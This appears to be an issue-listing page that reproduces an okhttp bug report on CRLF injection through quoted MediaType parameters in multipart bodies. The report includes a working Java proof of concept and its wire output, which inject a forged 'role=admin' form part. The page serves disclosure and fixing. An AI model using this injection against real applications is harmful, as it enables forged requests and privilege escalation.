CRLF injection into multipart bodies via a quoted MediaType parameter
I maintainer di solito rispondono entro 1 giorno
Nessuno ha ancora preso questa issue.
- #9730 di @waterWang — chiusa senza merge
Valutazione
- Difficoltà
- 2/5
- Tempo stimato
- 1-3 ore
- Idoneità per principianti
- 45/100
Direzione di ricerca
Start in okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt, where the issue identifies the quoted-parameter regex and toString(), then trace how MultipartBody.writeOrCountBytes writes the content type. Run the relevant MediaType and multipart tests, adding coverage for CR/LF in quoted parameters. Done means such input is rejected and the multipart injection demonstrated in the issue cannot occur; a linked pull request is already present, so check its status before starting.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
MediaType accepts CR and LF inside a quoted parameter, while MultipartBody writes that media type directly into the part header, so a content type taken from untrusted input can end the header block and append new multipart parts. The same exact string is rejected if it goes through the ordinary request-header path, so AFAICT, this is not intentional.
The regex for quoted parameters is in https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L94, which is problematic because the negated character class also matches CR and LF. toString() just returns the original string: https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L86.
MultipartBody.writeOrCountBytes then writes "Content-Type: " + contentType + CRLF:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MultipartBody.kt#L145-L150 with no validation in between.
A quick demo:
import okhttp3.Headers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import okio.Buffer;
public class Poc36 {
public static void main(String[] args) throws Exception {
String attackerControlled =
"text/plain; charset=\"a\r\n"
+ "\r\n"
+ "injected part body\r\n"
+ "--BOUNDARY\r\n"
+ "Content-Disposition: form-data; name=role\r\n"
+ "\r\n"
+ "admin\r\n"
+ "--BOUNDARY--\r\n"
+ "\"";
MediaType mediaType = MediaType.parse(attackerControlled);
System.out.println("MediaType.parse accepted it : " + (mediaType != null));
try {
new Headers.Builder().add("Content-Type", mediaType.toString());
System.out.println("outer request header path : accepted");
} catch (IllegalArgumentException e) {
System.out.println("outer request header path : rejected (" + e.getMessage().split("\n")[0] + ")");
}
MultipartBody body = new MultipartBody.Builder("BOUNDARY")
.setType(MultipartBody.FORM)
.addFormDataPart("upload", "note.txt", RequestBody.create("original content".getBytes(), mediaType))
.build();
Buffer wire = new Buffer();
body.writeTo(wire);
System.out.println("\n--- bytes on the wire ---");
System.out.print(wire.readUtf8());
}
}
which results in:
MediaType.parse accepted it : true
outer request header path : rejected (Unexpected char 0x0d at 22 in Content-Type value: text/plain; charset="a)
--- bytes on the wire ---
--BOUNDARY
Content-Disposition: form-data; name="upload"; filename="note.txt"
Content-Type: text/plain; charset="a
injected part body
--BOUNDARY
Content-Disposition: form-data; name=role
admin
--BOUNDARY--
"
original content
--BOUNDARY--
So the injected/forged role=admin part is complete and well formed, and because the terminating boundary is now before the real content, the application's "real" partbody ends up in the end and gets dropped.
Looking around a bit, this seems to be the only place where CR and LF are not rejected, so the fix seems to be just to reject CR/LF in MediaType.
- Lingua principale
- Kotlin
- Stelle
- 47.1k
- Fork
- 9.3k
- Merge medio
- 18h 18m
- PR unite (30g)
- 15
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di lysine-dev/okhttp
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 85/100
lysine-dev/okhttp#9788 ·
I maintainer di solito rispondono entro 1 giorno
-
enhancement
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
lysine-dev/okhttp#9761 · 3 commenti ·
I maintainer di solito rispondono entro 1 giorno
-
Remove crossinline `addInterceptor` and `addNetworkInterceptor` overloadsForse di nuovo libera @Amir-Golmoradi l’ha presa 8 giorni fa e non c’è nessuna pull request aperta. Apertaenhancement
Difficoltà 3/5 1-2 giorni Idoneità per principianti 58/100
lysine-dev/okhttp#9779 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
HTTP/2 Data padding is not counted toward the connection flow-control window. This deadlocks connections with peers that pad.Forse già presa @Amir-Golmoradi l’ha presa 4 giorni fa. Apertabug
Difficoltà 3/5 1-2 giorni Idoneità per principianti 67/100
lysine-dev/okhttp#9772 · 6 commenti ·
I maintainer di solito rispondono entro 1 giorno
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 55/100
lysine-dev/okhttp#9760 · 3 commenti ·
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di lysine-dev/okhttp
Issue simili
-
binding:web core docs p3
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
RunanywhereAI/runanywhere-sdks#1123 ·
I maintainer di solito rispondono entro 1 giorno
-
StepExamBenchmarkTest runs a loop and prints a timing but asserts nothingForse già presa Una pull request collegata a questa issue è aperta o già unita. Apertajules
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 82/100
open-learning-exchange/myplanet#18199 · 1 commento ·
I maintainer di solito rispondono entro 4 giorni
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
auth0/Auth0.Android#1095 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Scheme-less stream URLs throw NullPointerException instead of URISyntaxExceptionForse già presa @blihio l’ha presa oggi. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
pedroSG94/RootEncoder#2218 ·
I maintainer di solito rispondono entro 3 giorni
-
Test: PlantDetailPlantEditLockTest silent-apply case fails depending on the calendar date (seasonal amplitude)Forse già presa @LocNgu l’ha presa oggi. Apertabug
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 85/100
LocNgu/YAPT-Yet-Another-Plant-Tracker#907 ·
I maintainer di solito rispondono entro 1 giorno